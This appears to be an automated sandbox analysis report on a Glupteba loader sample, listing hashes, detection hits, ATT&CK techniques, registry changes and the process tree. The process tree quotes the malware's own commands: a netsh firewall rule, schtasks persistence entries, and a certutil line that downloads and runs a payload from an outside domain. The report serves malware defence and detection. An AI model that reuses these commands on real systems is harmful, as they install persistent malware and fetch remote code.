glupteba | 2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

General

Target

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Size

3.8MB
MD5

0008ce45286bd379fd0ca42e9fb79b0d
SHA1

36a1027956ca5db32a88ae77cae4451407d5cf06
SHA256

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae
SHA512

24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/5076-131-0x0000000003BC0000-0x00000000043C2000-memory.dmp	family_glupteba
behavioral2/memory/5076-132-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral2/memory/5076-134-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral2/memory/5068-138-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral2/memory/5068-142-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral2/memory/4976-146-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral2/memory/4976-150-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4180 created 5076	4180	svchost.exe	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
PID 4180 created 4976	4180	svchost.exe	csrss.exe
PID 4180 created 4976	4180	svchost.exe	csrss.exe
PID 4180 created 4976	4180	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4976 csrss.exe
1964 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4540 netsh.exe

pid	process
4976	csrss.exe
1964	patch.exe

pid	process
4540	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BillowingMoon = "\"C:\\Windows\\rss\\csrss.exe\""	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

4120 bcdedit.exe

pid	process
4120	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

description	ioc	process
File opened for modification	C:\Windows\rss	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
File created	C:\Windows\rss\csrss.exe	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3484 schtasks.exe
4712 schtasks.exe

pid	process
3484	schtasks.exe
4712	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.execsrss.exe

pid	process
5076	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
5076	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
4976	csrss.exe
4976	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	5076	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Token: SeImpersonatePrivilege	5076	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Token: SeTcbPrivilege	4180	svchost.exe
Token: SeTcbPrivilege	4180	svchost.exe
Token: SeBackupPrivilege	4180	svchost.exe
Token: SeRestorePrivilege	4180	svchost.exe
Token: SeBackupPrivilege	4180	svchost.exe
Token: SeRestorePrivilege	4180	svchost.exe
Token: SeSystemEnvironmentPrivilege	4976	csrss.exe
Token: SeBackupPrivilege	4180	svchost.exe
Token: SeRestorePrivilege	4180	svchost.exe
Token: SeBackupPrivilege	4180	svchost.exe
Token: SeRestorePrivilege	4180	svchost.exe
Token: SeBackupPrivilege	4180	svchost.exe
Token: SeRestorePrivilege	4180	svchost.exe
Token: SeBackupPrivilege	4180	svchost.exe
Token: SeRestorePrivilege	4180	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.execmd.execsrss.exe

description	pid	process	target process
PID 4180 wrote to memory of 5068	4180	svchost.exe	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
PID 4180 wrote to memory of 5068	4180	svchost.exe	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
PID 4180 wrote to memory of 5068	4180	svchost.exe	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
PID 5068 wrote to memory of 2096	5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	cmd.exe
PID 5068 wrote to memory of 2096	5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	cmd.exe
PID 2096 wrote to memory of 4540	2096	cmd.exe	netsh.exe
PID 2096 wrote to memory of 4540	2096	cmd.exe	netsh.exe
PID 5068 wrote to memory of 4976	5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 5068 wrote to memory of 4976	5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 5068 wrote to memory of 4976	5068	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 4180 wrote to memory of 4712	4180	svchost.exe	schtasks.exe
PID 4180 wrote to memory of 4712	4180	svchost.exe	schtasks.exe
PID 4180 wrote to memory of 3484	4180	svchost.exe	schtasks.exe
PID 4180 wrote to memory of 3484	4180	svchost.exe	schtasks.exe
PID 4180 wrote to memory of 1964	4180	svchost.exe	patch.exe
PID 4180 wrote to memory of 1964	4180	svchost.exe	patch.exe
PID 4976 wrote to memory of 4120	4976	csrss.exe	bcdedit.exe
PID 4976 wrote to memory of 4120	4976	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
"C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076

C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
"C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5068

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2096

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4540

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3484

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4712

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:1964

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:4120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4180

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
0008ce45286bd379fd0ca42e9fb79b0d

SHA1
36a1027956ca5db32a88ae77cae4451407d5cf06

SHA256
2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

SHA512
24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
0008ce45286bd379fd0ca42e9fb79b0d

SHA1
36a1027956ca5db32a88ae77cae4451407d5cf06

SHA256
2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

SHA512
24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Download Submit
memory/1964-147-0x0000000000000000-mapping.dmp

Download
memory/2096-135-0x0000000000000000-mapping.dmp

Download
memory/3484-145-0x0000000000000000-mapping.dmp

Download
memory/4120-149-0x0000000000000000-mapping.dmp

Download
memory/4540-136-0x0000000000000000-mapping.dmp

Download
memory/4712-144-0x0000000000000000-mapping.dmp

Download
memory/4976-139-0x0000000000000000-mapping.dmp

Download
memory/4976-143-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/4976-150-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/4976-146-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/5068-137-0x00000000037E4000-0x0000000003B8B000-memory.dmp

Filesize
3.7MB

Download
memory/5068-138-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/5068-133-0x0000000000000000-mapping.dmp

Download
memory/5068-142-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/5076-134-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/5076-131-0x0000000003BC0000-0x00000000043C2000-memory.dmp

Filesize
8.0MB

Download
memory/5076-132-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/5076-130-0x000000000380F000-0x0000000003BB6000-memory.dmp

Filesize
3.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads